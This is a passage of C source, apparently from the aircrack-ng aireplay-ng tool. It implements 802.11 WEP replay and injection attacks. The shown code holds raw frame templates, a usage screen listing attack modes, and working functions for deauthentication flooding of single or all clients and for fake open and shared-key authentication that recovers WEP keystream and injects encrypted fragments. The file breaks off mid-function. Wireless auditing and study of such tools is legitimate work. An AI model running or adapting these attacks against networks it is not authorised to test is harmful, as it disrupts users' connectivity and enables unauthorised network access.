/*
 *  802.11 WEP replay & injection attacks
 *
 *  Copyright (C) 2006-2022 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
 *  Copyright (C) 2004, 2005 Christophe Devine
 *
 *  WEP decryption attack (chopchop) developed by KoreK
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
 *
 *
 *  In addition, as a special exception, the copyright holders give
 *  permission to link the code of portions of this program with the
 *  OpenSSL library under certain conditions as described in each
 *  individual source file, and distribute linked combinations
 *  including the two.
 *  You must obey the GNU General Public License in all respects
 *  for all of the code used other than OpenSSL. *  If you modify
 *  file(s) with this exception, you may extend this exception to your
 *  version of the file(s), but you are not obligated to do so. *  If you
 *  do not wish to do so, delete this exception statement from your
 *  version. *  If you delete this exception statement from all source
 *  files in the program, then also delete it here.
 */

#ifdef HAVE_CONFIG_H
#include "config.h"
#endif

#if defined(linux)
#include <linux/rtc.h>
#endif

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/time.h>

#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <dirent.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <time.h>
#include <getopt.h>
#include <assert.h>
#include <math.h>

#include <fcntl.h>
#include <ctype.h>

#include <limits.h>

#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

#include "aircrack-ng/version.h"
#include "aircrack-ng/support/pcap_local.h"
#include "aircrack-ng/defs.h"
#include "aircrack-ng/osdep/osdep.h"
#include "aircrack-ng/support/communications.h"
#include "aircrack-ng/crypto/crypto.h"
#include "aircrack-ng/support/common.h"
#include "aircrack-ng/utf8/verifyssid.h"
#include "aircrack-ng/tui/console.h"

#define RTC_RESOLUTION 8192

#define REQUESTS 30
#define MAX_APS 50
#define MAX_ARP_SLOTS 8

#define NEW_IV 1
#define RETRY 2
#define ABORT 3

#define DEAUTH_REQ                                                             \
	"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB"         \
	"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"

#define AUTH_REQ                                                               \
	"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
	"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"

#define ASSOC_REQ                                                              \
	"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"

#define REASSOC_REQ                                                            \
	"\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00"

#define NULL_DATA                                                              \
	"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
	"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"

#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"

#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"

#define PROBE_REQ                                                              \
	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"

static const char usage[] =

	"\n"
	"  %s - (C) 2006-2022 Thomas d\'Otreppe\n"
	"  https://www.aircrack-ng.org\n"
	"\n"
	"  usage: aireplay-ng <options> <replay interface>\n"
	"\n"
	"  Filter options:\n"
	"\n"
	"      -b bssid  : MAC address, Access Point\n"
	"      -d dmac   : MAC address, Destination\n"
	"      -s smac   : MAC address, Source\n"
	"      -m len    : minimum packet length\n"
	"      -n len    : maximum packet length\n"
	"      -u type   : frame control, type    field\n"
	"      -v subt   : frame control, subtype field\n"
	"      -t tods   : frame control, To      DS bit\n"
	"      -f fromds : frame control, From    DS bit\n"
	"      -w iswep  : frame control, WEP     bit\n"
	"      -D        : disable AP detection\n"
	"\n"
	"  Replay options:\n"
	"\n"
	"      -x nbpps  : number of packets per second\n"
	"      -p fctrl  : set frame control word (hex)\n"
	"      -a bssid  : set Access Point MAC address\n"
	"      -c dmac   : set Destination  MAC address\n"
	"      -h smac   : set Source       MAC address\n"
	"      -g value  : change ring buffer size (default: 8)\n"
	"      -F        : choose first matching packet\n"
	"\n"
	"      Fakeauth attack options:\n"
	"\n"
	"      -e essid  : set target AP SSID\n"
	"      -o npckts : number of packets per burst (0=auto, default: 1)\n"
	"      -q sec    : seconds between keep-alives\n"
	"      -Q        : send reassociation requests\n"
	"      -y prga   : keystream for shared key auth\n"
	"      -T n      : exit after retry fake auth request n time\n"
	"\n"
	"      Arp Replay attack options:\n"
	"\n"
	"      -j        : inject FromDS packets\n"
	"\n"
	"      Fragmentation attack options:\n"
	"\n"
	"      -k IP     : set destination IP in fragments\n"
	"      -l IP     : set source IP in fragments\n"
	"\n"
	"      Test attack options:\n"
	"\n"
	"      -B        : activates the bitrate test\n"
	"\n"
	"  Source options:\n"
	"\n"
	"      -i iface  : capture packets from this interface\n"
	"      -r file   : extract packets from this pcap file\n"
	"\n"
	"  Miscellaneous options:\n"
	"\n"
	"      -R                    : disable /dev/rtc usage\n"
	"      --ignore-negative-one : if the interface's channel can't be "
	"determined,\n"
	"                              ignore the mismatch, needed for unpatched "
	"cfg80211\n"
	"      --deauth-rc rc        : Deauthentication reason code [0-254] "
	"(Default: 7)\n"
	"\n"
	"  Attack modes (numbers can still be used):\n"
	"\n"
	"      --deauth      count : deauthenticate 1 or all stations (-0)\n"
	"      --fakeauth    delay : fake authentication with AP (-1)\n"
	"      --interactive       : interactive frame selection (-2)\n"
	"      --arpreplay         : standard ARP-request replay (-3)\n"
	"      --chopchop          : decrypt/chopchop WEP packet (-4)\n"
	"      --fragment          : generates valid keystream   (-5)\n"
	"      --caffe-latte       : query a client for new IVs  (-6)\n"
	"      --cfrag             : fragments against a client  (-7)\n"
	"      --migmode           : attacks WPA migration mode  (-8)\n"
	"      --test              : tests injection and quality (-9)\n"
	"\n"
	"      --help              : Displays this usage screen\n"
	"\n";

struct communication_options opt;
struct devices dev;
extern struct wif *_wi_in, *_wi_out;
extern uint8_t h80211[4096];
extern uint8_t tmpbuf[4096];

struct ARP_req
{
	unsigned char * buf;
	int hdrlen;
	int len;
};

struct APt
{
	unsigned char set;
	unsigned char found;
	unsigned char len;
	unsigned char essid[255];
	unsigned char bssid[6];
	unsigned char chan;
	unsigned int ping[REQUESTS];
	int pwr[REQUESTS];
};

static struct APt ap[MAX_APS];

unsigned long nb_pkt_sent;
static unsigned char srcbuf[4096];
static char strbuf[512];

static const unsigned char ska_auth3[4096]
	= "\xb0\x40\x3a\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	  "\x00\x00\x00\x00\x00\x00\xc0\x01";

static int ctrl_c, alarmed;

static void sighandler(int signum)
{
	if (signum == SIGINT) ctrl_c++;

	if (signum == SIGALRM) alarmed++;
}

#ifdef XDEBUG
static int reset_ifaces(void)
{
	// close interfaces
	if (_wi_in != _wi_out)
	{
		if (_wi_in)
		{
			wi_close(_wi_in);
			_wi_in = NULL;
		}
		if (_wi_out)
		{
			wi_close(_wi_out);
			_wi_out = NULL;
		}
	}
	else
	{
		if (_wi_out)
		{
			wi_close(_wi_out);
			_wi_out = NULL;
			_wi_in = NULL;
		}
	}

	/* open the replay interface */
	_wi_out = wi_open(opt.iface_out);
	if (!_wi_out) return 1;
	dev.fd_out = wi_fd(_wi_out);

	/* open the packet source */
	if (opt.s_face != NULL)
	{
		_wi_in = wi_open(opt.s_face);
		if (!_wi_in) return 1;
		dev.fd_in = wi_fd(_wi_in);
		wi_get_mac(_wi_in, dev.mac_in);
	}
	else
	{
		_wi_in = _wi_out;
		dev.fd_in = dev.fd_out;

		/* XXX */
		dev.arptype_in = dev.arptype_out;
		wi_get_mac(_wi_in, dev.mac_in);
	}

	wi_get_mac(_wi_out, dev.mac_out);

	return 0;
}
#endif

static int
xor_keystream(unsigned char * ph80211, unsigned char * keystream, int len)
{
	REQUIRE(ph80211 != NULL);
	REQUIRE(keystream != NULL);

	int i = 0;

	if (len <= 0 || len >= INT_MAX) return 0;

	for (i = 0; i < len; i++)
	{
		ph80211[i] = ph80211[i] ^ keystream[i];
	}

	return 0;
}

static void my_read_sleep_cb(void)
{
	(void) read_packet(_wi_in, h80211, sizeof(h80211), NULL);
}

static void send_fragments(unsigned char * packet,
						   int packet_len,
						   unsigned char * iv,
						   unsigned char * keystream,
						   int fragsize,
						   int ska)
{
	REQUIRE(packet != NULL);
	REQUIRE(packet_len > 0 && packet_len < INT_MAX);
	REQUIRE(iv != NULL);

	int t, u;
	int data_size;
	unsigned char frag[32 + fragsize];
	int pack_size;
	int header_size = 24;

	data_size = packet_len - header_size;
	packet[23] = rand_u8();

	for (t = 0 + fragsize; t != 0; t += fragsize)
	{

		// Copy header
		memcpy(frag, packet, header_size);

		// Copy IV + KeyIndex
		memcpy(frag + header_size, iv, 4);

		// Copy data
		if (fragsize <= packet_len - (header_size + t - fragsize))
			memcpy(frag + header_size + 4,
				   packet + header_size + t - fragsize,
				   fragsize);
		else
			memcpy(frag + header_size + 4,
				   packet + header_size + t - fragsize,
				   packet_len - (header_size + t - fragsize));

		// Make ToDS frame
		if (!ska)
		{
			frag[1] |= 1;
			frag[1] &= 253;
		}

		// Set fragment bit
		if (t < data_size) frag[1] |= 4;
		if (t >= data_size) frag[1] &= 251;

		// Fragment number
		frag[22] = 0;
		for (u = t - fragsize; u != 0; u -= fragsize)
		{
			frag[22] += 1;
		}
		//        frag[23] = 0;

		// Calculate packet length
		if (fragsize <= packet_len - (header_size + t - fragsize))
			pack_size = header_size + 4 + fragsize;
		else
			pack_size
				= header_size + 4 + (packet_len - (header_size + t - fragsize));

		// Add ICV
		add_icv(frag, pack_size, header_size + 4);
		pack_size += 4;

		// Encrypt
		xor_keystream(frag + header_size + 4, keystream, fragsize + 4);

		// Send
		send_packet(_wi_out, frag, (size_t) pack_size, kRewriteSequenceNumber);
		if (t < data_size) usleep(100);

		if (t >= data_size) break;
	}
}

static int do_attack_deauth(void)
{
	int i, n;
	int aacks, sacks, caplen;
	struct timeval tv;
	fd_set rfds;

	if (getnet(_wi_in,
			   NULL,
			   0,
			   1,
			   opt.f_bssid,
			   opt.r_bssid,
			   (uint8_t *) opt.r_essid,
			   opt.ignore_negative_one,
			   opt.nodetect)
		!= 0)
		return (EXIT_FAILURE);

	if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
		printf("NB: this attack is more effective when targeting\n"
			   "a connected wireless client (-c <client's mac>).\n");

	n = 0;

	while (1)
	{
		if (opt.a_count > 0 && ++n > opt.a_count) break;

		usleep(180000);

		if (memcmp(opt.r_dmac, NULL_MAC, 6) != 0)
		{
			/* deauthenticate the target */

			memcpy(h80211, DEAUTH_REQ, 26);
			memcpy(h80211 + 16, opt.r_bssid, 6);

			/* add the deauth reason code */
			h80211[24] = opt.deauth_rc;

			aacks = 0;
			sacks = 0;
			for (i = 0; i < 64; i++)
			{
				if (i == 0)
				{
					PCT;
					printf("Sending 64 directed DeAuth (code %i). STMAC:"
						   " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
						   opt.deauth_rc,
						   opt.r_dmac[0],
						   opt.r_dmac[1],
						   opt.r_dmac[2],
						   opt.r_dmac[3],
						   opt.r_dmac[4],
						   opt.r_dmac[5],
						   sacks,
						   aacks);
				}

				memcpy(h80211 + 4, opt.r_dmac, 6);
				memcpy(h80211 + 10, opt.r_bssid, 6);

				if (send_packet(_wi_out, h80211, 26, kRewriteSequenceNumber)
					< 0)
					return (EXIT_FAILURE);

				usleep(2000);

				memcpy(h80211 + 4, opt.r_bssid, 6);
				memcpy(h80211 + 10, opt.r_dmac, 6);

				if (send_packet(_wi_out, h80211, 26, kRewriteSequenceNumber)
					< 0)
					return (EXIT_FAILURE);

				usleep(2000);

				while (1)
				{
					FD_ZERO(&rfds);
					FD_SET(dev.fd_in, &rfds);

					tv.tv_sec = 0;
					tv.tv_usec = 1000;

					if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
					{
						if (errno == EINTR) continue;
						perror("select failed");
						return (EXIT_FAILURE);
					}

					if (!FD_ISSET(dev.fd_in, &rfds)) break;

					caplen = read_packet(_wi_in, tmpbuf, sizeof(tmpbuf), NULL);

					if (caplen <= 0) break;
					if (caplen != 10) continue;
					if (tmpbuf[0] == 0xD4)
					{
						if (memcmp(tmpbuf + 4, opt.r_dmac, 6) == 0)
						{
							aacks++;
						}
						if (memcmp(tmpbuf + 4, opt.r_bssid, 6) == 0)
						{
							sacks++;
						}
						PCT;
						printf(
							"Sending 64 directed DeAuth (code %i). STMAC:"
							" [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
							opt.deauth_rc,
							opt.r_dmac[0],
							opt.r_dmac[1],
							opt.r_dmac[2],
							opt.r_dmac[3],
							opt.r_dmac[4],
							opt.r_dmac[5],
							sacks,
							aacks);
					}
				}
			}
			printf("\n");
		}
		else
		{
			/* deauthenticate all stations */

			PCT;
			printf("Sending DeAuth (code %i) to broadcast -- BSSID:"
				   " [%02X:%02X:%02X:%02X:%02X:%02X]\n",
				   opt.deauth_rc,
				   opt.r_bssid[0],
				   opt.r_bssid[1],
				   opt.r_bssid[2],
				   opt.r_bssid[3],
				   opt.r_bssid[4],
				   opt.r_bssid[5]);

			memcpy(h80211, DEAUTH_REQ, 26);
			h80211[24] = opt.deauth_rc;

			memcpy(h80211 + 4, BROADCAST, 6);
			memcpy(h80211 + 10, opt.r_bssid, 6);
			memcpy(h80211 + 16, opt.r_bssid, 6);

			for (i = 0; i < 128; i++)
			{
				if (send_packet(_wi_out, h80211, 26, kRewriteSequenceNumber)
					< 0)
					return (1);

				usleep(2000);
			}
		}
	}

	return (EXIT_SUCCESS);
}

static int do_attack_fake_auth(void)
{
	time_t tt, tr;
	struct timeval tv, tv2 = {0}, tv3;

	fd_set rfds;
	int i, n, state, caplen, z;
	int mi_b, mi_s, mi_d;
	int x_send;
	int kas;
	int tries;
	int retry = 0;
	int should_abort;
	int gotack = 0;
	unsigned char capa[2];
	int deauth_wait = 3;
	int ska = 0;
	int keystreamlen = 0;
	int challengelen = 0;
	int weight[16];
	int notice = 0;
	int packets = 0;
	int aid = 0;

	unsigned char ackbuf[14];
	unsigned char ctsbuf[10];
	unsigned char iv[4];
	unsigned char challenge[2048];
	unsigned char keystream[2048];

	memset(iv, 0, sizeof(iv));

	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
	{
		printf("Please specify a source MAC (-h).\n");
		return (EXIT_FAILURE);
	}

	if (getnet(_wi_in,
			   capa,
			   0,
			   1,
			   opt.f_bssid,
			   opt.r_bssid,
			   (uint8_t *) opt.r_essid,
			   opt.ignore_negative_one,
			   opt.nodetect)
		!= 0)
		return (EXIT_FAILURE);

	if (verifyssid((const unsigned char *) opt.r_essid) == 0)
	{
		printf("Please specify an ESSID (-e).\n");
		return (EXIT_FAILURE);
	}

	memcpy(ackbuf, "\xD4\x00\x00\x00", 4);
	memcpy(ackbuf + 4, opt.r_bssid, 6);
	memset(ackbuf + 10, 0, 4);

	memcpy(ctsbuf, "\xC4\x00\x94\x02", 4);
	memcpy(ctsbuf + 4, opt.r_bssid, 6);

	tries = 0;
	should_abort = 0;
	state = 0;
	x_send = opt.npackets;
	if (opt.npackets == 0) x_send = 4;

	if (opt.prga != NULL) ska = 1;

	tt = time(NULL);
	tr = time(NULL);

	while (1)
	{
		switch (state)
		{
			case 0:
				if (opt.f_retry > 0)
				{
					if (retry == opt.f_retry)
					{
						return (EXIT_FAILURE);
					}
					++retry;
				}

				if (ska && keystreamlen == 0)
				{
					opt.fast = 1; // don't ask for approval
					memcpy(opt.f_bssid,
						   opt.r_bssid,
						   6); // make the filter bssid the same, that is used
					// for auth'ing
					if (opt.prga == NULL)
					{
						while (keystreamlen < 16)
						{
							capture_ask_packet(&caplen,
											   1); // wait for data packet
							z = ((h80211[1] & 3) != 3) ? 24 : 30;
							if ((h80211[0] & 0x80) == 0x80) /* QoS */
								z += 2;

							memcpy(iv, h80211 + z, 4); // copy IV+IDX
							i = known_clear(keystream,
											&keystreamlen,
											weight,
											h80211,
											caplen - z - 4
												- 4); // recover first bytes
							if (i > 1)
							{
								keystreamlen = 0;
							}
							for (i = 0; i < keystreamlen; i++)
								keystream[i] ^= h80211[i + z + 4];
						}
					}
					else
					{
						keystreamlen = opt.prgalen - 4;
						memcpy(iv, opt.prga, 4);
						memcpy(keystream, opt.prga + 4, keystreamlen);
					}
				}

				state = 1;
				tt = time(NULL);

				/* attempt to authenticate */

				memcpy(h80211, AUTH_REQ, 30);
				memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
				memcpy(h80211 + 10, opt.r_smac, 6); //-V525
				memcpy(h80211 + 16, opt.r_bssid, 6); //-V525
				if (ska) h80211[24] = 0x01;

				printf("\n");
				PCT;
				printf("Sending Authentication Request");
				if (!ska)
					printf(" (Open System)");
				else
					printf(" (Shared Key)");
				fflush(stdout);
				gotack = 0;

				for (i = 0; i < x_send; i++)
				{
					if (send_packet(_wi_out, h80211, 30, kRewriteSequenceNumber)
						< 0)
						return (1);

					usleep(10);

					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
						< 0)
						return (1);
					usleep(10);

					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
						< 0)
						return (1);
				}

				break;

			case 1:
			case 3:

				/* waiting for an authentication response */

				if (time(NULL) - tt >= 2)
				{
					if (opt.npackets > 0)
					{
						tries++;

						if (tries > 15)
						{
							should_abort = 1;
						}
					}
					else
					{
						if (x_send < 256)
						{
							x_send *= 2;
						}
						else
						{
							should_abort = 1;
						}
					}

					if (should_abort)
					{
						printf(
							"\nAttack was unsuccessful. Possible reasons:\n\n"
							"    * Perhaps MAC address filtering is enabled.\n"
							"    * Check that the BSSID (-a option) is "
							"correct.\n"
							"    * Try to change the number of packets (-o "
							"option).\n"
							"    * The driver/card doesn't support injection.\n"
							"    * This attack sometimes fails against some "
							"APs.\n"
							"    * The card is not on the same channel as the "
							"AP.\n"
							"    * You're too far from the AP. Get closer, or "
							"lower\n"
							"      the transmit rate.\n\n");
						return (EXIT_FAILURE);
					}

					state = 0;
					challengelen = 0;
					printf("\n");
				}

				break;

			case 2:

				state = 3;
				tt = time(NULL);

				/* attempt to authenticate using ska */

				memcpy(h80211, AUTH_REQ, 30);
				memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
				memcpy(h80211 + 10, opt.r_smac, 6); //-V525
				memcpy(h80211 + 16, opt.r_bssid, 6); //-V525
				h80211[1] |= 0x40; // set wep bit, as this frame is encrypted
				memcpy(h80211 + 24, iv, 4);
				memcpy(h80211 + 28, challenge, challengelen);
				h80211[28] = 0x01; // its always ska in state==2
				h80211[30] = 0x03; // auth sequence number 3
				fflush(stdout);

				if (keystreamlen < challengelen + 4 && notice == 0)
				{
					notice = 1;
					if (opt.prga != NULL)
					{
						PCT;
						printf("Specified xor file (-y) is too short, you need "
							   "at least %d keystreambytes.\n",
							   challengelen + 4);
					}
					else
					{
						PCT;
						printf("You should specify a xor file (-y) with at "
							   "least %d keystreambytes\n",
							   challengelen + 4);
					}
					PCT;
					printf("Trying fragmented shared key fake auth.\n");
				}
				PCT;
				printf("Sending encrypted challenge.");
				fflush(stdout);
				gotack = 0;
				gettimeofday(&tv2, NULL);

				for (i = 0; i < x_send; i++)
				{
					if (keystreamlen < challengelen + 4)
					{
						packets = (challengelen) / (keystreamlen - 4);
						if ((challengelen) % (keystreamlen - 4) != 0) packets++;

						memcpy(h80211 + 24, challenge, challengelen);
						h80211[24] = 0x01;
						h80211[26] = 0x03;
						send_fragments(h80211,
									   challengelen + 24,
									   iv,
									   keystream,
									   keystreamlen - 4,
									   1);
					}
					else
					{
						add_icv(h80211, challengelen + 28, 28);
						xor_keystream(h80211 + 28, keystream, challengelen + 4);
						send_packet(_wi_out,
									h80211,
									24 + 4 + (size_t) challengelen + 4,
									kRewriteSequenceNumber);
					}

					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
						< 0)
						return (EXIT_FAILURE);
					usleep(10);

					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
						< 0)
						return (EXIT_FAILURE);
				}

				break;

			case 4:

				tries = 0;
				state = 5;
				if (opt.npackets == -1) x_send *= 2;
				tt = time(NULL);

				/* attempt to associate */

				memcpy(h80211, ASSOC_REQ, 28);
				memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
				memcpy(h80211 + 10, opt.r_smac, 6); //-V525
				memcpy(h80211 + 16, opt.r_bssid, 6); //-V525

				n = (int) strlen(opt.r_essid);

				h80211[28] = 0x00;
				h80211[29] = (uint8_t) n;

				memcpy(h80211 + 30, opt.r_essid, n);
				memcpy(h80211 + 30 + n, RATES, 16);
				memcpy(h80211 + 24, capa, 2);

				PCT;
				printf("Sending Association Request");
				fflush(stdout);
				gotack = 0;

				for (i = 0; i < x_send; i++)
				{
					if (send_packet(_wi_out,
									h80211,
									46 + (size_t) n,
									kRewriteSequenceNumber)
						< 0)
						return (EXIT_FAILURE);

					usleep(10);

					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
						< 0)
						return (EXIT_FAILURE);
					usleep(10);

					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
						< 0)
						return (EXIT_FAILURE);
				}

				break;

			case 5:

				/* waiting for an association response */

				if (time(NULL) - tt >= 5)
				{
					if (x_send < 256 && (opt.npackets == -1)) x_send *= 4;

					state = 0;
					challengelen = 0;
					printf("\n");
				}

				break;

			case 6:

				if (opt.a_delay == 0 && opt.reassoc == 0)
				{
					printf("\n");
					return (EXIT_SUCCESS);
				}

				if (opt.a_delay == 0 && opt.reassoc == 1)
				{
					if (opt.npackets == -1) x_send = 4;
					state = 7;
					challengelen = 0;
					break;
				}

				if (time(NULL) - tt >= opt.a_delay)
				{
					if (opt.npackets == -1) x_send = 4;
					if (opt.reassoc == 1)
						state = 7;
					else
						state = 0;
					challengelen = 0;
					break;
				}

				if (time(NULL) - tr >= opt.delay)
				{
					tr = time(NULL);
					printf("\n");
					PCT;
					printf("Sending keep-alive packet");
					fflush(stdout);
					gotack = 0;

					memcpy(h80211, NULL_DATA, 24);
					memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
					memcpy(h80211 + 10, opt.r_smac, 6); //-V525
					memcpy(h80211 + 16, opt.r_bssid, 6); //-V525

					if (opt.npackets > 0)
						kas = opt.npackets;
					else
						kas = 32;

					for (i = 0; i < kas; i++)
						if (send_packet(
								_wi_out, h80211, 24, kRewriteSequenceNumber)
							< 0)
							return (EXIT_FAILURE);
				}

				break;

			case 7:

				/* sending reassociation request */

				tries = 0;
				state = 8;
				if (opt.npackets == -1) x_send *= 2;
				tt = time(NULL);

				/* attempt to reassociate */

				memcpy(h80211, REASSOC_REQ, 34);
				memcpy(h80211 + 4, opt.r_bssid, 6); //-V525
				memcpy(h80211 + 10, opt.r_smac, 6); //-V525
				memcpy(h80211 + 16, opt.r_bssid, 6); //-V525

				n = (int) strlen(opt.r_essid);

				h80211[34] = 0x00;
				h80211[35] = (uint8_t) n;

				memcpy(h80211 + 36, opt.r_essid, n);
				memcpy(h80211 + 36 + n, RATES, 16);
				memcpy(h80211 + 30, capa, 2);

				PCT;
				printf("Sending Reassociation Request");
				fflush(stdout);
				gotack = 0;

				for (i = 0; i < x_send; i++)
				{
					if (send_packet(_wi_out,
									h80211,
									52 + (size_t) n,
									kRewriteSequenceNumber)
						< 0)
						return (EXIT_FAILURE);

					usleep(10);

					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
						< 0)
						return (EXIT_FAILURE);
					usleep(10);

					if (send_packet(_wi_out, ackbuf, 14, kRewriteSequenceNumber)
						< 0)
						return (EXIT_FAILURE);
				}

				break;

			case 8:

				/* waiting for a reassociation response */

				if (time(NULL) - tt >= 5)
				{
					if (x_send < 256 && (opt.npackets == -1)) x_send *= 4;

					state = 7;
					challengelen = 0;
					printf("\n");
				}

				break;

			default:
				break;
		}

		/* read one frame */

		FD_ZERO(&rfds);
		FD_SET(dev.fd_in, &rfds);

		tv.tv_sec = 1;
		tv.tv_usec = 0;

		if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
		{
			if (errno == EINTR) continue;
			perror("select failed");
			return (EXIT_FAILURE);
		}

		if (!FD_ISSET(dev.fd_in, &rfds)) continue;

		caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);

		if (caplen < 0) return (EXIT_FAILURE);
		if (caplen == 0) continue;

		if (caplen == 10 && h80211[0] == 0xD4)
		{
			if (memcmp(h80211 + 4, opt.r_smac, 6) == 0)
			{
				if (gotack < INT_MAX - 1) gotack++;
				if (gotack == 1)
				{
					printf(" [ACK]");
					fflush(stdout);
				}
			}
		}

		gettimeofday(&tv3, NULL);

		// wait 100ms for acks
		if ((((tv3.tv_sec * 1000000 - tv2.tv_sec * 1000000)
			  + (tv3.tv_usec - tv2.tv_usec))
			 > (100 * 1000))
			&& (gotack > 0)
			&& (gotack < packets)
			&& (state == 3))
		{
			PCT;
			printf("Not enough acks, repeating...\n");
			state = 2;
			continue;
		}

		if (caplen < 24) continue;

		switch (h80211[1] & 3)
		{
			case 0:
				mi_b = 16;
				mi_s = 10;
				mi_d = 4;
				break;
			case 1:
				mi_b = 4;
				mi_s = 10;
				mi_d = 16;
				break;
			case 2:
				mi_b = 10;
				mi_s = 16;
				mi_d = 4;
				break;
			default:
				mi_b = 10;
				mi_d = 16;
				mi_s = 24;
				break;
		}

		/* check if the dest. MAC is ours and source == AP */

		if (memcmp(h80211 + mi_d, opt.r_smac, 6) == 0
			&& memcmp(h80211 + mi_b, opt.r_bssid, 6) == 0
			&& memcmp(h80211 + mi_s, opt.r_bssid, 6) == 0)
		{
			/* check if we got an deauthentication packet */

			if (h80211[0] == 0xC0) // removed && state == 4
			{
				printf("\n");
				PCT;
				printf("Got a deauthentication packet! (Waiting %d seconds)\n",
					   deauth_wait);
				if (opt.npackets == -1) x_send = 4;
				state = 0;
				challengelen = 0;
				read_sleep(
					dev.fd_in, deauth_wait * 1000000UL, my_read_sleep_cb);
				deauth_wait += 2;
				continue;
			}

			/* check if we got an disassociation packet */

			if (h80211[0] == 0xA0 && state == 6)
			{
				printf("\n");
				PCT;
				printf("Got a disassociation packet! (Waiting %d seconds)\n",
					   deauth_wait);
				if (opt.npackets == -1) x_send = 4;
				state = 0;
				challengelen = 0;
				read_sleep(dev.fd_in, deauth_wait, my_read_sleep_cb);
				deauth_wait += 2;
				continue;
			}

			/* check if we got an authentication response */

			if (h80211[0] == 0xB0 && (state == 1 || state == 3))
			{
				if (ska)
				{
					if ((state == 1 && h80211[26] != 0x02)
						|| (state == 3 && h80211[26] != 0x04))
						continue;
				}

				printf("\n");
				PCT;

				state = 0;

				if (caplen < 30)
				{
					printf("Error: packet length < 30 bytes\n");
					read_sleep(dev.fd_in, 3 * 1000000, my_read_sleep_cb);
					challengelen = 0;
					continue;
				}

				if ((h80211[24] != 0 || h80211[25] != 0) && ska == 0)
				{
					ska = 1;
					printf("Switching to shared key authentication\n");
					read_sleep(dev.fd_in,
							   2 * 1000000,
							   my_read_sleep_cb); // read sleep 2s
					challengelen = 0;
					continue;
				}

				n = h80211[28] + (h80211[29] << 8);

				if (n != 0)
				{
					switch (n)
					{
						case 1:
							printf("AP rejects the source MAC address "
								   "(%02X:%02X:%02X:%02X:%02X:%02X) ?\n",
								   opt.r_smac[0],
								   opt.r_smac[1],
								   opt.r_smac[2],
								   opt.r_smac[3],
								   opt.r_smac[4],
								   opt.r_smac[5]);
							break;

						case 10:
							printf("AP rejects our capabilities\n");
							break;

						case 13:
						case 15:
							ska = 1;
							if (h80211[26] == 0x02)
								printf(
									"Switching to shared key authentication\n");
							if (h80211[26] == 0x04)
							{
								printf("Challenge failure\n");
								challengelen = 0;
							}
							read_sleep(dev.fd_in,
									   2 * 1000000,
									   my_read_sleep_cb); // read sleep 2s
							challengelen = 0; //-V519
							continue;
						default:
							break;
					}

					printf("Authentication failed (code %d)\n", n);
					if (opt.npackets == -1) x_send = 4;
					read_sleep(dev.fd_in, 3 * 1000000, my_read_sleep_cb);
					challengelen = 0;
					continue;
				}

				if (ska && h80211[26] == 0x02 && challengelen == 0)
				{
					memcpy(challenge, h80211 + 24, caplen - 24);
					challengelen = caplen - 24;
				}
				if (ska)
				{
					if (h80211[26] == 0x02)
					{
						state = 2; /* grab challenge */
						printf("Authentication 1/2 successful\n");
					}
					if (h80211[26] == 0x04)
					{
						state = 4;
